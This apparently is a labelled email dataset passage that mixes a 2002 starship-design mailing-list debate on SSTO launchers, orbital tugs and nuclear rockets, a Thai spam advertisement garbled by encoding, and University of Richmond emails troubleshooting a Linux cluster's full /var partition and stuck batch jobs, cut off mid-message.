starship-design-outgoing; Mon, 2 Dec 2002 12:34:56 -0800 (PST) Received: from imo-m05.mx.aol.com (imo-m05.mx.aol.com [64.12.136.8]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB2KYrxn014039 for ; Mon, 2 Dec 2002 12:34:54 -0800 (PST) Received: from KellySt@aol.com by imo-m05.mx.aol.com (mail_out_v34.13.) id z.161.17fdeb9c (15900); Mon, 2 Dec 2002 15:34:41 -0500 (EST) Received: from aol.com (mow-m29.webmail.aol.com [64.12.137.6]) by air-id09.mx.aol.com (v89.21) with ESMTP id MAILINID93-1202153441; Mon, 02 Dec 2002 15:34:41 -0500 MIME-Version: 1.0 Message-ID: <0642F7D4.01D9DA65.0017FCD8@aol.com> X-Mailer: Atlas Mailer 2.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: bfranchuk@jetnet.ab.ca (ben franchuk) Cc: starship-design@lists.uoregon.edu Subject: Re: starship-design: HOTOL SeaDragon idea. Date: Mon, 02 Dec 2002 15:34:41 -0500 In a message dated 12/2/2002 1:47:55 PM Eastern Standard Time, ben franchuk writes: >KellySt@aol.com wrote: >> 320 isp with LOx/LH?? �Thats hardly better then the numbers for the >> LOx/Kerosine engines of the '60's? �Its actually worse then the current gen >> of LOx/Kero engines which get up to 350 isp! �Shuttle LOx/LH engines get >> about 450isp! > >> A 747 has a empty weight about half its max takeoff weight. �Course it has to >> takeoff at slower speeds. �I think lift is one of those V^2 things. �Given >> the size of this monster, it can handal light seas at speed. �Probably lift >> off into its ground effect, then run up into far high speeds for assent. � >> (lots of open ocean out there.) �So possibly tripling its speed to 450-500ish >> mph could get you 9 times the take off weight? �That big Russuan surface >> effect ship had numbers like that. > >The problem with Rocket design is because things are so sensitive to >the isp factor a minor change can throw a design right out the window. >I think a smallish designed craft can be optinum for mass/payload in >the 800 kg/2400 kg range providing the second stage is unmanned to >a fixed space platform. Has any work on a third stage using microwave >or solar powered engine that stays in orbit and captures the second >stage? >1st stage -- air breathing/wings manned >2nd stage -- payload pod /winged reentry >3rd stage == booster shuttle/space frame >Ben. ISP isn't a critical cost factor, though you need to avoid designs with ISP to do it. Its worth noting that airbreathing systems have ISP's in the thousands, so they make up for a lot of upper stage issues. As to solar or microwave upper stages, only for orbit to orbit transfers. They simply don't mave the raw power needed for burning into Earth orbit. Their was some studies of a mid orbit intercept by a nuclear powered tug. In theory you could do a factor of ten increase cargo to orbit with a rocket based SSTO, overloaded into a suborbital capacity to intercept the boster tug. NOt real sure I'ld recomend the idea though. might as well just add the nuke to the upper stage or cary more fuel, and deal with a simpler system. Kelly >From VM Mon Dec 2 19:08:49 2002 Content-Length: 2526 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2526"" ""Monday"" ""2"" ""December"" ""2002"" ""21:36:24"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""58"" ""Re: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB32aXxn003054 for ; Mon, 2 Dec 2002 18:36:33 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB32aXbn003051 for starship-design-outgoing; Mon, 2 Dec 2002 18:36:33 -0800 (PST) Received: from imo-m08.mx.aol.com (imo-m08.mx.aol.com [64.12.136.163]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB32aWxn003006 for ; Mon, 2 Dec 2002 18:36:32 -0800 (PST) Received: from KellySt@aol.com by imo-m08.mx.aol.com (mail_out_v34.13.) id z.1a8.cebb026 (3657) for ; Mon, 2 Dec 2002 21:36:25 -0500 (EST) Message-ID: <1a8.cebb026.2b1d72a8@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: HOTOL SeaDragon idea. Date: Mon, 2 Dec 2002 21:36:24 EST In a message dated 12/2/02 3:36:17 PM, KellySt@aol.com writes: >Their was some studies of a mid orbit intercept by a nuclear powered tug. > In theory you could do a factor of ten increase cargo to orbit with a >rocket based SSTO, overloaded into a suborbital capacity to intercept the >boster tug. NOt real sure I'ld recomend the idea though. might as well >just add the nuke to the upper stage or cary more fuel, and deal with a >simpler system. > > > >Kelly To: Mark Jensen From: KellySt@aol.com Hi everyone, I just read the Fall 94 ""Journal of practical applications in space"". (Yeah, I know I'm behind.) I finally finished Philip Chapman's artical on Reviving Spaceflight. It had some good ideas, but had bad writing. One idea he had sounded like half a good idea, and I wanted to know if anyone confirmed/picked it apart yet. The idea was that given a basic SSTO at launch is 90% fuel, 9% ship, and 1% cargo by weight. (Its not quite that bac, but close.) If you launch it to a suborbital speed that takes 10% less fuel and have a orbital tug come down and take the cargo (or give the ship a boost) you can save 9% of the total weight and can get a tenfold upgrade in cargo capacity. (1% standard cargo capacity + the 9% saved fuel alotment.) Now he fiqured out that this could require 40% of your launches to be fuel for the tug (specifically water to be processed into fuel), but he didn't seem to realize that a 10% cut in orbital speed wouldn't save you 10% of your fuel. Anybody have any ideas as to how much fuel you could save? Or for that matter how much speed you could sacrafice and still have a reasonable chance of intercept and boost? The trick sounds like it could be usefull (especially later if you get a nuclear rocket tug or Lunar water to cut down up mass) but I wonder if he messed up his math somewhere. Anyway thought somebody might know offhand, or just be curious. Subj: Re:SSTO + Tug launcher? By: == On your SSTsub-O w/Tug idea, I ran some numbers: At lift-off, 90K of fuel, 9K of structure, and 10K of payload. With LOX/LH2, that ought to leave you just 6,000 fps shy of LEO. A tug with 5.5K of fuel and 0.55K of structure could boost your 10K payload up to LEO. For simplicity, let's say that the previous payload supplies the fuel. 10K payload minus 5.5K for fuel minus 0.3K of fuel to take the Tug from LEO to a rendezvous trajectory minus 0.2K for a fuel container, leaving 4K of usable payload. That's a four-fold increase, IT WORKS! == >From VM Tue Dec 3 14:02:52 2002 Content-Length: 1137 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1137"" ""Tuesday"" ""3"" ""December"" ""2002"" ""15:58:19"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""26"" ""RE: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB3Lwsxn015571 for ; Tue, 3 Dec 2002 13:58:54 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB3LwsU6015570 for starship-design-outgoing; Tue, 3 Dec 2002 13:58:54 -0800 (PST) Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB3Lwrxn015561 for ; Tue, 3 Dec 2002 13:58:54 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by snipe.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18JL44-0005Kq-00; Tue, 03 Dec 2002 13:58:48 -0800 Message-ID: <002a01c29b17$17c2f140$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <0642F7D4.01D9DA65.0017FCD8@aol.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: , ""'ben franchuk'"" Cc: Subject: RE: starship-design: HOTOL SeaDragon idea. Date: Tue, 3 Dec 2002 15:58:19 -0600 All- Time for a reality check... If you are going to even think about nuclear powered rockets in any capacity, you might as well go for broke. DUMBO was the (potential) successor to NERVA and is easily buildable today. It has both sufficient ISP and sufficiently high thrust (it takes both) to make an SSTO design doable with LARGE payload capacities. No need for mid-orbit tug transfers, etc. Now for the reality part, if you have to fight tooth and nail just to get an RTG mission like Cassini off the ground, getting routine flights to orbit (or mid-orbit transfers) with a nuclear powered rocket are, frankly, impossible. Lots of scientists and engineers have run the numbers and the risk is low, the amount of contamination if the worst happens is low, in fact, this should be a no brainer. Unfortunately, the anti-nuclear lobby has done a VERY good job of playing to the public's fear. So much so that I suspect that even if we were to come up with some sort of cold fusion non-radioactive engine, it STILL wouldn't be politically acceptable. Might as well wish for anti-gravity, at least the public thinks that is cool! Lee >From VM Tue Dec 3 15:37:09 2002 Content-Length: 2168 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2168"" ""Tuesday"" ""3"" ""December"" ""2002"" ""15:26:35"" ""-0800"" ""Curtis Manges"" ""clmanges@yahoo.com"" nil ""29"" ""Fwd: Re: starship-design: HOTOL SeaDragon idea."" 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Date: Tue, 3 Dec 2002 15:26:35 -0800 (PST) --0-1606545271-1038957995=:16408 Content-Type: text/plain; charset=us-ascii ben franchuk wrote: I think a smallish designed craft can be optinum for mass/payload in the 800 kg/2400 kg range providing the second stage is unmanned to a fixed space platform. Uh, Ben, except for the part about stages, aren't you talking about something like the Rotary? You remember the Rotary, don't you -- goes up, gets low orbit, comes down -- all by itself. I think it was called ""SSO."" Damn shame about Rotary, but really, they didn't have a chance, due to their payload limit. Customers will demand payloads in the largest chunks they can, to avoid needing such fancy maneuvers as orbital assembly. They must figure it's the cheaper deal. Anyway, you're back to having to think big. Curtis --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now --0-1606545271-1038957995=:16408 Content-Type: text/html; charset=us-ascii  ben franchuk wrote: I think a smallish designed craft can be optinum for mass/payload inthe 800 kg/2400 kg range providing the second stage is unmanned toa fixed space platform. Uh, Ben, except for the part about stages, aren't you talking about something like the Rotary? You remember the Rotary, don't you -- goes up, gets low orbit, comes down -- all by itself. I think it was called ""SSO."" Damn shame about Rotary, but really, they didn't have a chance, due to their payload limit. Customers will demand payloads in the largest chunks they can, to avoid needing such fancy maneuvers as orbital assembly. They must figure it's the cheaper deal. Anyway, you're back to having to think big. CurtisDo you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. 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Date: Tue, 3 Dec 2002 19:14:11 EST In a message dated 12/3/02 1:36:38 PM, bfranchuk@jetnet.ab.ca writes: >KellySt@aol.com wrote: > >> >> Subj: Re:SSTO + Tug launcher? >> By: == >> >> On your SSTsub-O w/Tug idea, I ran some numbers: >> At lift-off, 90K of fuel, 9K of structure, and 10K of payload. With >LOX/LH2, >> that ought to leave you just 6,000 fps shy of LEO. A tug with 5.5K of >fuel >> and 0.55K of structure could boost your 10K payload up to LEO. For >> simplicity, let's say that the previous payload supplies the fuel. 10K > >> payload minus 5.5K for fuel minus 0.3K of fuel to take the Tug from LEO >to a >> rendezvous trajectory minus 0.2K for a fuel container, leaving 4K of >usable >> payload. That's a four-fold increase, IT WORKS! >> >I like the idea of useing methane or propane as the main fuel because >fossil fuel will run out in the near future, and synthetic fuels will >hve to be used. Could somebody check the numbers on this. Sorry thats a myth. We have a estimated 4 centuries of oil if consumption grows at current rates. >Note the space tug could also supply some re-entry thrust so I expect >you would only get a 3x increase but a bit of a safety margin in your >design. But that would require the tug to then reboost itself even more, before rentering. It might be dangerous, or completly cancel out the advantage of using the tug. Kelly >From VM Tue Dec 3 16:17:51 2002 Content-Length: 1023 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1023"" ""Tuesday"" ""3"" ""December"" ""2002"" ""19:14:14"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""26"" ""Re: starship-design: HOTOL SeaDragon idea."" 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Date: Tue, 3 Dec 2002 19:14:14 EST In a message dated 12/3/02 6:28:15 PM, clmanges@yahoo.com writes: > > ben franchuk wrote: > >I think a smallish designed craft can be optinum for mass/payload in >the 800 kg/2400 kg range providing the second stage is unmanned to >a fixed space platform. > >Uh, Ben, except for the part about stages, aren't you talking about something >like the Rotary? You remember the Rotary, don't you -- goes up, gets low >orbit, comes down -- all by itself. I think it was called ""SSO."" Damn shame >about Rotary, but really, they didn't have a chance, due to their payload >limit. Customers will demand payloads in the largest chunks they can, to >avoid needing such fancy maneuvers as orbital assembly. They must figure >it's the cheaper deal. Anyway, you're back to having to think big. > >Curtis Most of the small launchers like Rotary, Pineer, Kelly, etc were hunting for the Irridium launch market for small sats Problem was, Irridium and that market fell on its face. So they all died. Kelly >From VM Tue Dec 3 16:17:51 2002 Content-Length: 1677 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1677"" ""Tuesday"" ""3"" ""December"" ""2002"" ""19:14:13"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""67"" ""Re: starship-design: HOTOL SeaDragon idea."" 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Date: Tue, 3 Dec 2002 19:14:13 EST Good point about the politics. Course you could simply flag it out of another country that doesn't worry about such things. Or get a powerfull enough backer to ignor the Eco-nuts. Certainly nuclear power is critical if we ae to do any deep space stuff. Even manmed flights to Mars would be far to risky and dificult without nukes. So if you can't get nukes, you can't do space. In a message dated 12/3/02 4:59:42 PM, lparker@cacaphony.net writes: >All- > > > >Time for a reality check... > > > >If you are going to even think about nuclear powered rockets in any > >capacity, you might as well go for broke. DUMBO was the (potential) > >successor to NERVA and is easily buildable today. It has both sufficient >ISP > >and sufficiently high thrust (it takes both) to make an SSTO design doable > >with LARGE payload capacities. No need for mid-orbit tug transfers, etc. > > > >Now for the reality part, if you have to fight tooth and nail just to get >an > >RTG mission like Cassini off the ground, getting routine flights to orbit > >(or mid-orbit transfers) with a nuclear powered rocket are, frankly, > >impossible. > > > >Lots of scientists and engineers have run the numbers and the risk is low, > >the amount of contamination if the worst happens is low, in fact, this > >should be a no brainer. Unfortunately, the anti-nuclear lobby has done >a > >VERY good job of playing to the public's fear. So much so that I suspect > >that even if we were to come up with some sort of cold fusion > >non-radioactive engine, it STILL wouldn't be politically acceptable. > > > >Might as well wish for anti-gravity, at least the public thinks that is > >cool! > > > >Lee >From VM Wed Dec 4 16:50:06 2002 Content-Length: 764 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""764"" ""Wednesday"" ""4"" ""December"" ""2002"" ""19:00:03"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""23"" ""Re: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB500Hxn020002 for ; Wed, 4 Dec 2002 16:00:17 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB500HGl020001 for starship-design-outgoing; Wed, 4 Dec 2002 16:00:17 -0800 (PST) Received: from imo-d08.mx.aol.com (imo-d08.mx.aol.com [205.188.157.40]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB500Gxn019953 for ; Wed, 4 Dec 2002 16:00:16 -0800 (PST) Received: from KellySt@aol.com by imo-d08.mx.aol.com (mail_out_v34.13.) id z.17b.1299bc73 (4196); Wed, 4 Dec 2002 19:00:03 -0500 (EST) Message-ID: <17b.1299bc73.2b1ff103@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: bfranchuk@jetnet.ab.ca, starship-design@lists.uoregon.edu Subject: Re: starship-design: HOTOL SeaDragon idea. Date: Wed, 4 Dec 2002 19:00:03 EST In a message dated 12/3/02 9:31:56 PM, bfranchuk@jetnet.ab.ca writes: >KellySt@aol.com wrote: >> Good point about the politics. Course you could simply flag it out of > >> another country that doesn't worry about such things. Or get a powerfull > >> enough backer to ignor the Eco-nuts. >> >> Certainly nuclear power is critical if we ae to do any deep space stuff. > >> Even manmed flights to Mars would be far to risky and dificult without >nukes. >> So if you can't get nukes, you can't do space. > >Anti-matter is the only way to go once in orbit. >http://www.transorbital.net/Library/D001_S01.html >Also I think with cheap solar power from space >the cost could be resonable. To dangerous and unstable. I doubt it would be competative with fusion. >From VM Wed Dec 4 16:50:07 2002 Content-Length: 321 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""321"" ""Wednesday"" ""4"" ""December"" ""2002"" ""17:15:21"" ""-0700"" ""ben franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""9"" ""Re: starship-design: HOTOL SeaDragon idea."" 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Date: Wed, 04 Dec 2002 17:15:21 -0700 KellySt@aol.com wrote: > To dangerous and unstable. I doubt it would be competative with >fusion. Other than anti-matter induced fusion regular fusion does not look to have the mass/thust ratio needed. Also anti-matter fusion looks practial in the near future compared to the +20 years for conventional development.",0,1 ʶҺѹ�Ѳ�� SMEs ,ggilfoyl@facstaff.richmond.edu,"Sun, 01 Dec 2002 04:42:40 -0000",�ç���ͺ�� �����çҹ�ؤ�����ͤ���������㹸�áԨ,ËÒ¡ÃÒÂÅÐàÍÕ´´éÒ¹ÅèÒ§äÁèáÊ´§ÊÒÁÒö´ÙÃÒÂÅÐàÍÕ´ä´é·Õè http://www.ismed.or.th/training/hr/0406-e1.html ´ÒǹìâËÅ´ãºÊÁѤÃà¢éÒÃèÇÁ§Ò¹ÊÑÁÁ¹Ò ¤ÅÔ¡·Õè¹Õè unsubscript please reply to unsubscibe@roomthai.com ¢ÍÍÀÑÂÍÂèÒ§ÊÙ§ËÒ¡ÍÕàÁÅì¹Õéà»ç¹¡ÒÃú¡Ç¹·èÒ¹ ¡ÃØ³Ò reply ÍÕàÁÅìÁÒ·Õè unsubscibe@roomthai.com à¾×èÍ·Ò§àÃÒ¨ÐäÁèÊè§Ãº¡Ç¹·èҹ㹤ÃÑ駵èÍä»,1,1 Adnan Iqbal ,ggilfoyl@richmond.edu,"Mon, 02 Dec 2002 11:54:18 -0500",Re: plans for next year,"Hi Dr. G Good to hear from you. I'll definitely check with Vikash regarding his plans and availability for the summer and beyond and get back to you asap. I am hoping he is knows C++ since he only recently must have taken CS301 that requires it. As for myself, my C++ is really rusty since I havn't done any programming for the last couple of years....all my CS classes have pretty much been theoretically based or involved working on databases/DBMS. Also, I worked on root for a limited period of time during my summer stint 2 years back. I could try to refresh myself on it, though I am not too sure how much I'd be able to accomplish over the limited period we have during winter break. Are we still planning on moving the old cluster over winter break? I also recall mentioning that we need to research into replacing the old cluster boxes with new ones this coming summer.....I havn't really touched the linux boxes since early on in the semester and I suspect upgrades and application of security patches are needed .... I am really sorry for not being of much help during the semester....last four months have been nothing short of gruesome...cant wait to be done... hope to talk to you soon -Adnan > hi adnan, > > sorry i took so long to get back to you. there are certainly > things to do over the winter break. how familiar are you with > root? C++? i would love to have vikash jump on the bandwagon, > but my question is how long of a ride does he want. if he can > only be on board for a week or two that may not be long enough > unless he already knows things like root and C++. let me know > what you think. > > gpg > > Adnan Iqbal wrote: >> >> Hi Dr G >> >> Just thought I'd drop a quickline and say hi. >> >> Hope things are going well at your end and you're enjoying the company >> of baby 'dude'.... >> >> please do lemme know if had a chance to give the winter break project >> a little more thought....i spoke to Vikash and he's excited to join >> the bandwagon...perhaps we can catch up sometime this coming week? >> >> Happy Thanksgiving!!! >> >> cheers >> >> -Adnan >> >> > hi adnan, >> > >> > how is the new year going? hope you haven't had too many >> > catastrophes with all your 'kids'. i am going to be at >> > richmond tomorrow and i was wondering what your plans are for >> > the rest of this year and next summer. are you planning to >> > work on the cluster administration at all? i would, of course, love >> to have you. we are now getting some help from information services. >> they recently hired a linux person who is helping >> > out with all of our linux machines in the department. i also >> > have some thoughts about upgrading the new cluster next >> > summer by replacing the machines in the old cluster and adding them >> to the new cluster. >> > >> > do you have time to meet on wednesday? i will be around most >> > of the day. let me know what you think. >> > >> > gpg >> > >> > -- >> > Dr. Gerard P. Gilfoyle >> > Physics Department e-mail: ggilfoyl@richmond.edu >> University of Richmond, VA 23173 phone: 804-289-8255 >> > USA fax: 804-289-8482 >> >> Adnan Iqbal >> UR Box 0581 >> 28 Westhampton Way >> Richmond, VA 23173 >> aiqbal@richmond.edu >> (804)-662-3577 > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 Adnan Iqbal UR Box 0581 28 Westhampton Way Richmond, VA 23173 aiqbal@richmond.edu (804)-662-3577 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Mon, 02 Dec 2002 14:09:10 -0500",RE: [Fwd: latest on the Richmond cluster],"Dr. Gilfoyle, You are right. Repartitioning is out of question because we need to go through all this all over again I checked the /var and it seems that there is an easy solution: - this machine not to be used for sending/receiving e-mails (if must, then clear mailboxes regularly) See this: [root@pscm1 /]# du -sh /var/spool/* 6k /var/spool/anacron 92k /var/spool/at 4.0k /var/spool/cron 4.0k /var/spool/fax 4.0k /var/spool/lpd 1.8G /var/spool/mail <------| 1.1G /var/spool/mqueue <------| this together almost the whole partition 4.0k /var/spool/rwho 4.0k /var/spool/vbox [root@pscm1 spool]# In mqueue is ususaly unsent mail (we need to delete this). Can be checked with mailq command. In mail directory: [root@pscm1 mail]# ls -l total 1800552 -rw-rw---- 1 arayner arayner 0 Nov 4 10:45 arayner -rw-rw---- 1 gilfoyle gilfoyle 1841843032 Dec 1 20:48 gilfoyle <--- need to be reduced -rw-rw---- 1 luminita luminita 0 Nov 4 20:02 luminita -rw-rw---- 1 pyro pyro 0 Nov 1 13:04 pyro -rw------- 1 root root 104915 Dec 2 04:04 root -rw-rw---- 1 sstefano sstefano 0 Nov 4 09:45 sstefano -rw-rw---- 1 vineyard vineyard 472 Nov 17 19:09 vineyard [root@pscm1 mail]# If this does not work, I have an alternative solution. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Monday, December 02, 2002 1:53 PM To: Sasko Stafanovski Subject: [Fwd: latest on the Richmond cluster] hi sasko, we are still struggling to get the cluster working, but we are making some progress. the latest problem lies with using the batch/at command in linux. it uses the /var area to operate and that area is full on pscm1. see the lising below. i assume we would have to repartition to expand /var which would be very painful i think. can we remove unused stuff or possibly move it to another area (like /usr) with a symbolic link in the /var area? let me know what you think. jerry [root@pscm1]# df -h Filesystem Size Used Avail Use% Mounted on /dev/hda3 486M 181M 280M 40% / none 251M 0 251M 0% /dev/shm /dev/hda1 2.0G 45M 1.8G 3% /scratch /dev/hda6 12G 6.2G 5.6G 53% /usr <-- lots of room /dev/hda5 3.0G 2.9G 44k 100% /var <-- full!! fileserver:/data2 1008G 277G 680G 29% /data2 fileserver:/data1 1008G 440G 517G 46% /data1 fileserver:/data3 1008G 159G 798G 17% /data3 [root@pscm1]# -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 >From - Mon Dec 2 17:29:18 2002 X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000 Message-ID: <3DEBDEBA.6F83DAC3@richmond.edu> Date: Mon, 02 Dec 2002 17:29:14 -0500 From: gilfoyle X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.9-34 i686) X-Accept-Language: en MIME-Version: 1.0 To: Mike Vineyard , Luninita Tudor , Sasko Stafanovski Subject: Richmond cluster status Content-Type: multipart/mixed; boundary=""------------3AC320965AB03A2BFB6E2346"" This is a multi-part message in MIME format. --------------3AC320965AB03A2BFB6E2346 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit yo you all, we are making progress on the cluster, but we're not there yet. at the moment, the good news is that it seems to be working and our problems may be with using the batch command and not with the nimbus/cluster software as such. i have attached some of the recent email traffic with steven james so you can clutter up your email diretories with more stuff. jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 --------------3AC320965AB03A2BFB6E2346 Content-Type: text/plain; charset=us-ascii; name=""cluster1.txt"" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename=""cluster1.txt"" >From - Mon Dec 2 17:22:07 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gB23xjt16838 for ; Sun, 1 Dec 2002 22:59:45 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by argyle.richmond.edu (8.11.6/8.11.6) with SMTP id gB23xAW26807 for ; Sun, 1 Dec 2002 22:59:10 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002120122590729883 for ; Sun, 01 Dec 2002 22:59:07 -0500 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gB23x6q06721 for ; Sun, 1 Dec 2002 22:59:06 -0500 Received: from h-66-167-144-187.mclnva23.covad.net ([66.167.144.187] helo=mindspring.com) by mclean.mail.mindspring.net with esmtp (Exim 3.33 #1) id 18Ihjd-00077u-00; Sun, 01 Dec 2002 22:59:05 -0500 Sender: gilfoyle@polyester.richmond.edu Message-ID: <3DEB0528.5D4ADD7@mindspring.com> Date: Sun, 01 Dec 2002 23:00:56 -0800 From: gilfoyle Reply-To: ggilfoyl@richmond.edu Organization: University of Richmond Physics Department X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.12 i686) X-Accept-Language: en MIME-Version: 1.0 To: steven james Subject: latest on the Richmond cluster Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Status: X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000 X-UIDL: 38eb267300004451 hi steven, here is the latest. the good news is the cluster seems to be working at some level. some of the behavior is significantly different from before the upgrade so we may still have some issues to resolve. when i last left you i had submitted a large number of jobs (about 115) to run and left for chicago for thanksgiving. things had looked good for smaller numbers of jobs. when i returned only the first 55 jobs had been run. the remaining ones were sitting in the batch queue (used the bbq and atq commands to see this). even more strange was that the first 55 jobs that got submitted were still running root after 3 days!! i killed those jobs by hand (kill -9), the perl scripts finished up, and the jobs in the batch queue remained there and never got started. my questions are the following. 1. is the apparent limit of 55 jobs fixed? can we raise it? it seems reasonable to run two jobs per machine (one per cpu). the 'atd -l ' command looks like it should work (according to the man page). 2. after i killed the long-running root executables, i thought the queued up jobs would get submitted, but they didn't. do you have any idea why? 3. i noticed that root found no good events even when it ran successfully with a smaller number of submitted jobs. this is mysterious since this code and these scripts worked before the upgrade. i will investigate this problem this week. if you have any ideas, please let me know. 4. the last problem i'm having is that i submitted some jobs tonight (sunday) and they immediately go into the 'b' queue and don't get submitted. they are listed under the atq command, but do not appear when i execute the bbq command. this i don't understand. let me know what you think. jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 --------------3AC320965AB03A2BFB6E2346 Content-Type: text/plain; charset=us-ascii; name=""cluster2.txt"" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename=""cluster2.txt"" >From - Mon Dec 2 17:23:42 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gARLVTY16848 for ; Wed, 27 Nov 2002 16:31:29 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by argyle.richmond.edu (8.11.6/8.11.6) with SMTP id gARLUte06131 for ; Wed, 27 Nov 2002 16:30:55 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002112716305527247 for ; Wed, 27 Nov 2002 16:30:55 -0500 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gARLUtv16535 for ; Wed, 27 Nov 2002 16:30:55 -0500 Received: from h-66-167-144-187.mclnva23.covad.net ([66.167.144.187] helo=mindspring.com) by smtp10.atl.mindspring.net with esmtp (Exim 3.33 #1) id 18H9ll-0003QJ-00; Wed, 27 Nov 2002 16:30:53 -0500 Sender: gilfoyle@polyester.richmond.edu Message-ID: <3DE56439.434BE988@mindspring.com> Date: Wed, 27 Nov 2002 16:32:57 -0800 From: gilfoyle Reply-To: ggilfoyl@richmond.edu Organization: University of Richmond Physics Department X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.12 i686) X-Accept-Language: en MIME-Version: 1.0 To: steven james CC: sasko@mindspring.com Subject: Richmond cluster status Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Status: RO X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000 X-UIDL: 38eb267300004437 hi steven, i made the following changes to my scripts. 1. i had the script 'sleep' for 45 seconds after submitting a batch job with the following command. system(""batch -f run_job""); sleep 45; 2. i changed the way i copied the data files over from this perl command 